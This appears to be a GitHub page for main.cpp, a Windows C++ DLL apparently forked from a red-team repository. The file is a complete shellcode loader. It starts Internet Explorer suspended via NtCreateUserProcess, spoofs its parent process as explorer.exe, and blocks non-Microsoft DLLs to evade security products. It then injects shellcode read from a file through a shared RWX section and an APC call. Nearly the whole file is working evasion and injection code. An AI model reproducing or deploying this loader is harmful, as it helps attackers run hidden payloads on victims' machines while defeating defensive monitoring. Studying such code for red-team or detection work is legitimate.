forked from capt-meelo/NtCreateUserProcess
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.cpp
189 lines (147 loc) · 6.16 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include <Windows.h>
#include "tlhelp32.h"
#include "ntdll.h"
#include <iostream>
#pragma comment(lib, "ntdll")
#pragma warning(disable : 4996)
DWORD getPID(LPCWSTR processName) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
do {
if (!wcscmp(process.szExeFile, processName))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
DllExport void test() {
DWORD ppid = getPID(L"explorer.exe");
DWORD dwRead = 0;
SIZE_T sizeBuffer = 0;
HANDLE hSection = NULL, hFile = NULL;
PVOID pViewLocal = NULL, pViewRemote = NULL, pSH = NULL;
//Shellcode gets read from file and mapped to the newly created process
hFile = CreateFileW(L"HelloWorld.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
sizeBuffer = GetFileSize(hFile, NULL);
pSH = VirtualAlloc(0, sizeBuffer, MEM_COMMIT, PAGE_READWRITE);
ReadFile(hFile, pSH, (DWORD)sizeBuffer, &dwRead, NULL);
printf("Shellcode Size: %u bytes\n", sizeBuffer);
NTSTATUS Status;
UNICODE_STRING NtImagePath, CurrentDirectory, CommandLine;
RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Program Files\\Internet Explorer\\iexplore.exe");
RtlInitUnicodeString(&CurrentDirectory, (PWSTR)L"C:\\Program Files\\Internet Explorer");
RtlInitUnicodeString(&CommandLine, (PWSTR)L"\"C:\\Program Files\\Internet Explorer\\iexplore.exe\"");
// user process parameters
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
Status = RtlCreateProcessParametersEx(
&ProcessParameters,
&NtImagePath,
NULL,
&CurrentDirectory,
&CommandLine,
NULL,
NULL,
NULL,
NULL,
NULL,
RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(Status)) {
printf("RtlCreateProcessParametersEx failed");
}
// Initialize the PS_CREATE_INFO structure
PS_CREATE_INFO CreateInfo = { 0 };
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
// Initialize the PS_ATTRIBUTE_LIST structure
ULONG AttributeCount = 3;
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE) * AttributeCount);
AttributeList->TotalLength = FIELD_OFFSET(PS_ATTRIBUTE_LIST, Attributes) + (sizeof(PS_ATTRIBUTE) * AttributeCount);
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
// PPID Spoofing Section
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
CLIENT_ID cid = { (HANDLE)ppid, NULL };
HANDLE hParent = NULL;
Status = NtOpenProcess(&hParent, PROCESS_CREATE_PROCESS, &oa, &cid);
if (!NT_SUCCESS(Status)) {
printf("NtOpenProcess failed.\n");
}
AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
AttributeList->Attributes[1].Size = sizeof(HANDLE);
AttributeList->Attributes[1].ValuePtr = hParent;
//BlockDLL
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
AttributeList->Attributes[2].Attribute = PS_ATTRIBUTE_MITIGATION_OPTIONS_2;
AttributeList->Attributes[2].Size = sizeof(DWORD64);
AttributeList->Attributes[2].ValuePtr = &policy;
// Create the process
HANDLE hProcess = NULL, hThread = NULL;
OBJECT_ATTRIBUTES ProcessObjectAttributes, ThreadObjectAttributes = { 0 };
InitializeObjectAttributes(&ProcessObjectAttributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
InitializeObjectAttributes(&ThreadObjectAttributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
Status = NtCreateUserProcess(
&hProcess,
&hThread,
MAXIMUM_ALLOWED,
MAXIMUM_ALLOWED,
&ProcessObjectAttributes,
&ThreadObjectAttributes,
PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT,
THREAD_CREATE_FLAGS_CREATE_SUSPENDED,
ProcessParameters,
&CreateInfo,
AttributeList);
if (!NT_SUCCESS(Status)) {
printf("NtCreateUserProcess() failed : %08lX\n", Status);
}
// Clean up
RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
RtlDestroyProcessParameters(ProcessParameters);
// Shellcode execution stuff
Status = NtCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sizeBuffer, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
if (!NT_SUCCESS(Status)) {
printf("[-] Failed to create section\n");
}
printf("[*] Created section: 0x%p\n", hSection);
Status = NtMapViewOfSection(hSection, GetCurrentProcess(), &pViewLocal, 0, 0, NULL, &sizeBuffer, ViewUnmap, 0, PAGE_READWRITE);
if (!NT_SUCCESS(Status)) {
printf("[-] Failed to map view of section locally\n");
}
printf("[*] Mapped section locally: 0x%p\n", pViewLocal);
Status = NtMapViewOfSection(hSection, hProcess, &pViewRemote, 0, 0, NULL, &sizeBuffer, ViewUnmap, 0, PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(Status)) {
printf("[-] Failed to map view of section remotely\n");
}
printf("[*] Mapped section remote: 0x%p\n", pViewRemote);
for (int i = 0; i < sizeBuffer; i++)
*((PBYTE)pViewLocal + i) = *((PBYTE)pSH + i);
Status = NtQueueApcThread(hThread, (PPS_APC_ROUTINE)pViewRemote, pViewRemote, NULL, NULL); if (!NT_SUCCESS(Status)) {
printf("[-] Failed to call NtQueueApcThread\n");
}
printf("[*] NtQueueApcThread successfull\n");
Status = NtResumeThread(hThread, NULL);
if (!NT_SUCCESS(Status)) {
printf("[-] Failed to resume thread\n");
}
printf("[*] Resumed thread\n");
}
BOOL WINAPI DllMain(
IN HINSTANCE hinstDLL,
IN DWORD fdwReason,
IN LPVOID lpvReserved
)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}